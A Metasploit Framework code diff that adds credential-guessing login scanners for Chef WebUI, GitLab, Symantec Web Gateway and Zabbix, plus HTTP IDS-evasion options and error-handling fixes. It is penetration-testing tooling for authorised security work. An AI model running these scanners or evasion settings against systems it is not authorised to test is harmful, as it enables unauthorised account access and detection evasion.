vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
return :connection_error
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
end
flags, command, request_id, error_code, length, reserved = parse_header(response)
@ -201,7 +197,7 @@ module Metasploit
parsed_data = {}
flags, command, request_id, error_code, length, reserved = parse_header(response)
raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0
raise RuntimeError, "AFP Server response with error" if error_code != 0
body = get_body(response, length)
machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags =
body.unpack('nnnnn')
@ -243,7 +239,7 @@ module Metasploit
def get_body(packet, body_length)
body = packet[16..body_length + 15]
raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length
raise RuntimeError, "AFP Invalid body length" if body.length != body_length
return body
end
@ -291,7 +287,7 @@ module Metasploit
when 7 # IPv6 address (16 bytes) followed by a two-byte port number
parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}"
else # Something wrong?
raise "Error parsing network addresses"
raise RuntimeError, "Error parsing network addresses"
end
end
return parsed_addreses

View File

@ -51,7 +51,7 @@ module Metasploit
# These values should be #demodularized from subclasses of
# `Metasploit::Credential::Private`
validates :private_type,
inclusion: { in: [ :password, :ntlm_hash, :ssh_key ] },
inclusion: { in: [ :password, :ntlm_hash, :postgres_md5, :ssh_key ] },
if: "private_type.present?"
# If we have no private we MUST have a public

View File

@ -79,7 +79,7 @@ class Metasploit::Framework::CredentialCollection
# Adds a string as an addition private credential
# to be combined in the collection.
#
# @param [String] :private_str the string to use as a private
# @param [String] private_str the string to use as a private
# @return [void]
def add_private(private_str='')
additional_privates << private_str
@ -88,7 +88,7 @@ class Metasploit::Framework::CredentialCollection
# Adds a string as an addition public credential
# to be combined in the collection.
#
# @param [String] :public_str the string to use as a public
# @param [String] public_str the string to use as a public
# @return [void]
def add_public(public_str='')
additional_publics << public_str
@ -210,6 +210,8 @@ class Metasploit::Framework::CredentialCollection
def private_type(private)
if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/
:ntlm_hash
elsif private =~ /^md5([a-f0-9]{32})$/
:postgres_md5
else
:password
end

View File

@ -31,7 +31,12 @@ module Metasploit
rescue Rex::ConnectionError, EOFError, Timeout::Error
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
else
success = login(credential.public, credential.private)
begin
success = login(credential.public, credential.private)
rescue RuntimeError => e
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message}
end
status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT
end

View File

@ -17,10 +17,10 @@ module Metasploit
# (see Base#attempt_login)
def attempt_login(credential)
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version, proxies
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
http_client = config_client(http_client)
configure_http_client(http_client)
result_opts = {
credential: credential,

View File

@ -34,7 +34,8 @@ module Metasploit
result_opts[:service_name] = 'http'
end
begin
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
configure_http_client(cli)
cli.connect
req = cli.request_cgi({
'method'=>'POST',

View File

@ -0,0 +1,151 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI
class ChefWebUI < HTTP
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# @!attribute session_name
# @return [String] Cookie name for session_id
attr_accessor :session_name
# @!attribute session_id
# @return [String] Cookie value
attr_accessor :session_id
# Decides which login routine and returns the results
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result]
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
status = try_login(credential)
result_opts.merge!(status)
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end
Result.new(result_opts)
end
# (see Base#check_setup)
def check_setup
begin
res = send_request({'uri' => normalize_uri('/users/login')})
return "Connection failed" if res.nil?
if res.code != 200
return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)"
end
if res.body.to_s !~ /<title>Chef Server<\/title>/
return "Unexpected HTTP body (is this really Chef WebUI?)"
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
return "Unable to connect to target"
end
false
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)
# Save the session ID cookie
if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i
self.session_name = $1
self.session_id = $2
end
res
end
# Sends a login request
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Rex::Proto::Http::Response] The HTTP auth response
def try_credential(csrf_token, credential)
data = "utf8=%E2%9C%93" # ✓
data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}"
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
data << "&commit=login"
opts = {
'uri' => normalize_uri('/users/login_exec'),
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "#{self.session_name}=#{self.session_id}"
}
}
send_request(opts)
end
# Tries to login to Chef WebUI
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def try_login(credential)
# Obtain a CSRF token first
res = send_request({'uri' => normalize_uri('/users/login')})
unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m)
return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body}
end
csrf_token = $1
res = try_credential(csrf_token, credential)
if res && res.code == 302
opts = {
'uri' => normalize_uri("/users/#{credential.public}/edit"),
'method' => 'GET',
'headers' => {
'Cookie' => "#{self.session_name}=#{self.session_id}"
}
}
res = send_request(opts)
if (res && res.code == 200 && res.body.to_s =~ /New password for the User/)
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
end
end
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
end
end
end
end
end

View File

@ -0,0 +1,96 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# GitLab login scanner
class GitLab < HTTP
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
CAN_GET_SESSION = false
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# (see Base#set_sane_defaults)
def set_sane_defaults
self.uri = '/users/sign_in' if uri.nil?
self.method = 'POST' if method.nil?
super
end
def attempt_login(credential)
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp',
service_name: ssl ? 'https' : 'http'
}
begin
cli = Rex::Proto::Http::Client.new(host,
port,
{
'Msf' => framework,
'MsfExploit' => framework_module
},
ssl,
ssl_version,
proxies)
configure_http_client(cli)
cli.connect
# Get a valid session cookie and authenticity_token for the next step
req = cli.request_cgi(
'method' => 'GET',
'cookie' => 'request_method=GET',
'uri' => uri
)
res = cli.send_recv(req)
if res.body.include? 'user[email]'
user_field = 'user[email]'
elsif res.body.include? 'user[login]'
user_field = 'user[login]'
else
fail RuntimeError, 'Not a valid GitLab login page'
end
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
fail RuntimeError, 'Unable to get Session Cookie' unless local_session_cookie
fail RuntimeError, 'Unable to get Authentication Token' unless auth_token
# Perform the actual login
req = cli.request_cgi(
'method' => 'POST',
'cookie' => local_session_cookie,
'uri' => uri,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
"#{user_field}" => credential.public,
'user[password]' => credential.private,
'user[remember_me]' => 0
}
)
res = cli.send_recv(req)
if res && res.code == 302
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
ensure
cli.close
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -61,7 +61,8 @@ module Metasploit
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)
@ -182,7 +183,7 @@ module Metasploit
status = try_glassfish_3(credential)
result_opts.merge!(status)
end
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end

View File

@ -37,6 +37,122 @@ module Metasploit
# @return [String] the Virtual Host name for the target Web Server
attr_accessor :vhost
# @!attribute evade_uri_encode_mode
# @return [String] The type of URI encoding to use
attr_accessor :evade_uri_encode_mode
# @!attribute evade_uri_full_url
# @return [Boolean] Whether to use the full URL for all HTTP requests
attr_accessor :evade_uri_full_url
# @!attribute evade_pad_method_uri_count
# @return [Fixnum] How many whitespace characters to use between the method and uri
attr_accessor :evade_pad_method_uri_count
# @!attribute evade_pad_uri_version_count
# @return [Fixnum] How many whitespace characters to use between the uri and version
attr_accessor :evade_pad_uri_version_count
# @!attribute evade_pad_method_uri_type
# @return [String] What type of whitespace to use between the method and uri
attr_accessor :evade_pad_method_uri_type
# @!attribute evade_pad_uri_version_type
# @return [String] What type of whitespace to use between the uri and version
attr_accessor :evade_pad_uri_version_type
# @!attribute evade_method_random_valid
# @return [Boolean] Whether to use a random, but valid, HTTP method for request
attr_accessor :evade_method_random_valid
# @!attribute evade_method_random_invalid
# @return [Boolean] Whether to use a random invalid, HTTP method for request
attr_accessor :evade_method_random_invalid
# @!attribute evade_method_random_case
# @return [Boolean] Whether to use random casing for the HTTP method
attr_accessor :evade_method_random_case
# @!attribute evade_uri_dir_self_reference
# @return [Boolean] Whether to insert self-referential directories into the uri
attr_accessor :evade_uri_dir_self_reference
# @!attribute evade_uri_dir_fake_relative
# @return [Boolean] Whether to insert fake relative directories into the uri
attr_accessor :evade_uri_dir_fake_relative
# @!attribute evade_uri_use_backslashes
# @return [Boolean] Whether to use back slashes instead of forward slashes in the uri
attr_accessor :evade_uri_use_backslashes
# @!attribute evade_pad_fake_headers
# @return [Boolean] Whether to insert random, fake headers into the HTTP request
attr_accessor :evade_pad_fake_headers
# @!attribute evade_pad_fake_headers_count
# @return [Fixnum] How many fake headers to insert into the HTTP request
attr_accessor :evade_pad_fake_headers_count
# @!attribute evade_pad_get_params
# @return [Boolean] Whether to insert random, fake query string variables into the request
attr_accessor :evade_pad_get_params
# @!attribute evade_pad_get_params_count
# @return [Fixnum] How many fake query string variables to insert into the request
attr_accessor :evade_pad_get_params_count
# @!attribute evade_pad_post_params
# @return [Boolean] Whether to insert random, fake post variables into the request
attr_accessor :evade_pad_post_params
# @!attribute evade_pad_post_params_count
# @return [Fixnum] How many fake post variables to insert into the request
attr_accessor :evade_pad_post_params_count
# @!attribute evade_uri_fake_end
# @return [Boolean] Whether to add a fake end of URI (eg: /%20HTTP/1.0/../../)
attr_accessor :evade_uri_fake_end
# @!attribute evade_uri_fake_params_start
# @return [Boolean] Whether to add a fake start of params to the URI (eg: /%3fa=b/../)
attr_accessor :evade_uri_fake_params_start
# @!attribute evade_header_folding
# @return [Boolean] Whether to enable folding of HTTP headers
attr_accessor :evade_header_folding
# @!attribute ntlm_use_ntlmv2_session
# @return [Boolean] Whether to activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
attr_accessor :ntlm_use_ntlmv2_session
# @!attribute ntlm_use_ntlmv2
# @return [Boolean] Whether to use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' is enabled
attr_accessor :ntlm_use_ntlmv2
# @!attribute ntlm_send_lm
# @return [Boolean] Whether to always send the LANMAN response (except when NTLMv2_session is specified)
attr_accessor :ntlm_send_lm
# @!attribute ntlm_send_ntlm
# @return [Boolean] Whether to activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
attr_accessor :ntlm_send_ntlm
# @!attribute ntlm_send_spn
# @return [Boolean] Whether to send an avp of type SPN in the NTLMv2 client blob.
attr_accessor :ntlm_send_spn
# @!attribute ntlm_use_lm_key
# @return [Boolean] Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
attr_accessor :ntlm_use_lm_key
# @!attribute ntlm_domain
# @return [String] The NTLM domain to use during authentication
attr_accessor :ntlm_domain
# @!attribute digest_auth_iis
# @return [Boolean] Whether to conform to IIS digest authentication mode.
attr_accessor :digest_auth_iis
validates :uri, presence: true, length: { minimum: 1 }
@ -47,7 +163,7 @@ module Metasploit
# (see Base#check_setup)
def check_setup
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version, proxies
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
request = http_client.request_cgi(
'uri' => uri,
@ -55,7 +171,7 @@ module Metasploit
)
begin
# Use _send_recv instead of send_recv to skip automatiu
# Use _send_recv instead of send_recv to skip automatic
# authentication
response = http_client._send_recv(request)
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
@ -71,14 +187,66 @@ module Metasploit
error_message
end
# Sends a HTTP request with Rex
#
# @param [Hash] opts native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
# @option opts [String] 'host' The remote host
# @option opts [Fixnum] 'port' The remote port
# @option opts [Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
# @option opts [String] 'proxies' The proxies setting
# @option opts [Credential] 'credential' A credential object
# @option opts ['Hash'] 'context' A context
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
# @return [Rex::Proto::Http::Response] The HTTP response
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
def send_request(opts)
rhost = opts['host'] || host
rport = opts['rport'] || port
cli_ssl = opts['ssl'] || ssl
cli_ssl_version = opts['ssl_version'] || ssl_version
cli_proxies = opts['proxies'] || proxies
username = opts['credential'] ? opts['credential'].public : ''
password = opts['credential'] ? opts['credential'].private : ''
realm = opts['credential'] ? opts['credential'].realm : nil
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
res = nil
cli = Rex::Proto::Http::Client.new(
rhost,
rport,
context,
cli_ssl,
cli_ssl_version,
cli_proxies,
username,
password
)
configure_http_client(cli)
if realm
cli.set_config('domain' => credential.realm)
end
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Attempt a single login with a single credential against the target.
#
# @param credential [Credential] The credential object to attempt to
# login with.
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
ssl = false if ssl.nil?
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
@ -94,32 +262,13 @@ module Metasploit
result_opts[:service_name] = 'http'
end
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version,
proxies, credential.public, credential.private
)
http_client = config_client(http_client)
if credential.realm
http_client.set_config('domain' => credential.realm)
end
begin
http_client.connect
request = http_client.request_cgi(
'uri' => uri,
'method' => method
)
response = http_client.send_recv(request)
response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
if response && response.code == 200
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
rescue Rex::ConnectionError => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
ensure
http_client.close
end
Result.new(result_opts)
@ -127,12 +276,53 @@ module Metasploit
private
def config_client(client)
client.set_config(
'vhost' => vhost || host,
'agent' => user_agent
# This method is responsible for mapping the caller's datastore options to the
# Rex::Proto::Http::Client configuration parameters.
def configure_http_client(http_client)
http_client.set_config(
'vhost' => vhost || host,
'agent' => user_agent
)
client
possible_params = {
'uri_encode_mode' => evade_uri_encode_mode,
'uri_full_url' => evade_uri_full_url,
'pad_method_uri_count' => evade_pad_method_uri_count,
'pad_uri_version_count' => evade_pad_uri_version_count,
'pad_method_uri_type' => evade_pad_method_uri_type,
'pad_uri_version_type' => evade_pad_uri_version_type,
'method_random_valid' => evade_method_random_valid,
'method_random_invalid' => evade_method_random_invalid,
'method_random_case' => evade_method_random_case,
'uri_dir_self_reference' => evade_uri_dir_self_reference,
'uri_dir_fake_relative' => evade_uri_dir_fake_relative,
'uri_use_backslashes' => evade_uri_use_backslashes,
'pad_fake_headers' => evade_pad_fake_headers,
'pad_fake_headers_count' => evade_pad_fake_headers_count,
'pad_get_params' => evade_pad_get_params,
'pad_get_params_count' => evade_pad_get_params_count,
'pad_post_params' => evade_pad_post_params,
'pad_post_params_count' => evade_pad_post_params_count,
'uri_fake_end' => evade_uri_fake_end,
'uri_fake_params_start' => evade_uri_fake_params_start,
'header_folding' => evade_header_folding,
'usentlm2_session' => ntlm_use_ntlmv2_session,
'use_ntlmv2' => ntlm_use_ntlmv2,
'send_lm' => ntlm_send_lm,
'send_ntlm' => ntlm_send_ntlm,
'SendSPN' => ntlm_send_spn,
'UseLMKey' => ntlm_use_lm_key,
'domain' => ntlm_domain,
'DigestAuthIIS' => digest_auth_iis
}
# Set the parameter only if it is not nil
possible_params.each_pair do |k,v|
next if v.nil?
http_client.set_config(k => v)
end
http_client
end
# This method sets the sane defaults for things
@ -157,9 +347,21 @@ module Metasploit
self.ssl = true
end
if self.ssl.nil?
self.ssl = false
end
nil
end
# Combine the base URI with the target URI in a sane fashion
#
# @param [String] target_uri the target URL
# @return [String] the final URL mapped against the base
def normalize_uri(target_uri)
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')
end
end
end
end

View File

@ -10,10 +10,9 @@ module Metasploit
# (see Base#attempt_login)
def attempt_login(credential)
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version, proxies
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
http_client = config_client(http_client)
configure_http_client(http_client)
result_opts = {
credential: credential,

View File

@ -33,7 +33,8 @@ module Metasploit
result_opts[:service_name] = 'http'
end
begin
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_cgi({
'method'=>'POST',
@ -49,7 +50,7 @@ module Metasploit
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end
Result.new(result_opts)

View File

@ -35,7 +35,8 @@ module Metasploit
begin
cred = Rex::Text.uri_encode(credential.private)
body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}"
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
configure_http_client(cli)
cli.connect
req = cli.request_cgi(
'method' => method,

View File

@ -62,6 +62,11 @@ module Metasploit
end
rescue Rex::ConnectionError, EOFError, Timeout::Error => e
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
rescue Msf::Db::PostgresPR::AuthenticationMethodMismatch => e
result_options.merge!({
status: Metasploit::Model::Login::Status::INCORRECT,
proof: e.message
})
end
if pg_conn

View File

@ -21,7 +21,7 @@ module Metasploit
req_opts = {
'method' => 'POST',
'uri' => '/proxy/ssllogin',
'uri' => uri,
'vars_post' => {
'redirecturl' => '',
'redirectquerystring' => '',
@ -33,7 +33,8 @@ module Metasploit
res = nil
begin
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_cgi(req_opts)
res = cli.send_recv(req)

View File

@ -0,0 +1,121 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
class SymantecWebGateway < HTTP
DEFAULT_PORT = 443
PRIVATE_TYPES = [ :password ]
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
# Checks if the target is Symantec Web Gateway. The login module should call this.
#
# @return [Boolean] TrueClass if target is SWG, otherwise FalseClass
def check_setup
login_uri = normalize_uri("#{uri}/spywall/login.php")
res = send_request({'uri'=> login_uri})
if res && res.body.include?('Symantec Web Gateway')
return true
end
false
end
# Returns the latest sid from Symantec Web Gateway.
#
# @return [String] The PHP Session ID for Symantec Web Gateway login
def get_last_sid
@last_sid ||= lambda {
# We don't have a session ID. Well, let's grab one right quick from the login page.
# This should probably only happen once (initially).
login_uri = normalize_uri("#{uri}/spywall/login.php")
res = send_request({'uri' => login_uri})
return '' unless res
cookies = res.get_cookies
@last_sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
}.call
end
# Actually doing the login. Called by #attempt_login
#
# @param username [String] The username to try
# @param password [String] The password to try
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def get_login_state(username, password)
# Prep the data needed for login
sid = get_last_sid
protocol = ssl ? 'https' : 'http'
peer = "#{host}:#{port}"
login_uri = normalize_uri("#{uri}/spywall/login.php")
res = send_request({
'uri' => login_uri,
'method' => 'POST',
'cookie' => sid,
'headers' => {
'Referer' => "#{protocol}://#{peer}/#{login_uri}"
},
'vars_post' => {
'USERNAME' => username,
'PASSWORD' => password,
'loginBtn' => 'Login' # Found in the HTML form
}
})
unless res
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
end
# After login, the application should give us a new SID
cookies = res.get_cookies
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
@last_sid = sid # Update our SID
if res.headers['Location'].to_s.include?('executive_summary.php') && !sid.blank?
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.to_s}
end
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
end
# Attempts to login to Symantec Web Gateway. This is called first.
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
result_opts.merge!(get_login_state(credential.public, credential.private))
rescue ::Rex::ConnectionError => e
# Something went wrong during login. 'e' knows what's up.
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -10,8 +10,9 @@ module Metasploit
# (see Base#attempt_login)
def attempt_login(credential)
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version, proxies
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
configure_http_client(http_client)
result_opts = {
credential: credential,

View File

@ -0,0 +1,137 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# The Zabbix HTTP LoginScanner class provides methods to do login routines
# for Zabbix 2.4 and 2.2
class Zabbix < HTTP
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# @!attribute version
# @return [String] Product version
attr_accessor :version
# @!attribute zsession
# @return [String] Cookie session
attr_accessor :zsession
# Decides which login routine and returns the results
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result]
def attempt_login(credential)
result_opts = { credential: credential }
begin
status = try_login(credential)
result_opts.merge!(status)
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end
Result.new(result_opts)
end
# (see Base#check_setup)
def check_setup
begin
res = send_request({'uri' => normalize_uri('/')})
return "Connection failed" if res.nil?
if res.code != 200
return "Unexpected HTTP response code #{res.code} (is this really Zabbix?)"
end
if res.body.to_s !~ /Zabbix ([^\s]+) Copyright .* by Zabbix/m
return "Unexpected HTTP body (is this really Zabbix?)"
end
self.version = $1
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
return "Unable to connect to target"
end
false
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)
# Found a cookie? Set it. We're going to need it.
if res && res.get_cookies =~ /zbx_sessionid=(\w*);/i
self.zsession = $1
end
res
end
# Sends a login request
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Rex::Proto::Http::Response] The HTTP auth response
def try_credential(credential)
data = "request="
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
data << "&autologin=1"
data << "&enter=Sign%20in"
opts = {
'uri' => normalize_uri('index.php'),
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded'
}
}
send_request(opts)
end
# Tries to login to Zabbix
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def try_login(credential)
res = try_credential(credential)
if res && res.code == 302
opts = {
'uri' => normalize_uri('profile.php'),
'method' => 'GET',
'headers' => {
'Cookie' => "zbx_sessionid=#{self.zsession}"
}
}
res = send_request(opts)
if (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: User profile<\/title>/)
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
end
end
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
end
end
end
end
end

View File

@ -51,8 +51,7 @@ module Metasploit
# Send a prelogin packet and check that encryption is not enabled
if mssql_prelogin() != ENCRYPT_NOT_SUP
print_error("Encryption is not supported")
return false
raise ::Rex::ConnectionError, "Encryption is not supported"
end
if windows_authentication

View File

@ -44,7 +44,7 @@ module Metasploit
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
if untested_payloads_pathname.exist?
tool_path = 'tools/missing-payload-tests.rb'
tool_path = 'tools/missing_payload_tests.rb'
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."

View File

@ -323,9 +323,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
nhost = find_internet_connected_address
original_session_host = self.session_host
# If we found a better IP address for this session, change it up
# only handle cases where the DB is not connected here
if !(framework.db && framework.db.active)
# If we found a better IP address for this session, change it
# up. Only handle cases where the DB is not connected here
if nhost && !(framework.db && framework.db.active)
self.session_host = nhost
end
@ -461,6 +461,8 @@ protected
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes
# @return [String] The address from which this host reaches the
# internet, as ASCII. e.g.: "192.168.100.156"
# @return [nil] If there is an interface with an address that matches
# {#session_host}
def find_internet_connected_address
ifaces = self.net.config.get_interfaces().flatten rescue []
@ -497,7 +499,9 @@ protected
end
if !nhost
# Find the first non-loopback address
# No internal address matches what we see externally and no
# interface has a default route. Fall back to the first
# non-loopback address
non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" }
if non_loopback
nhost = non_loopback.ip

View File

@ -15,7 +15,7 @@ module MeterpreterOptions
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
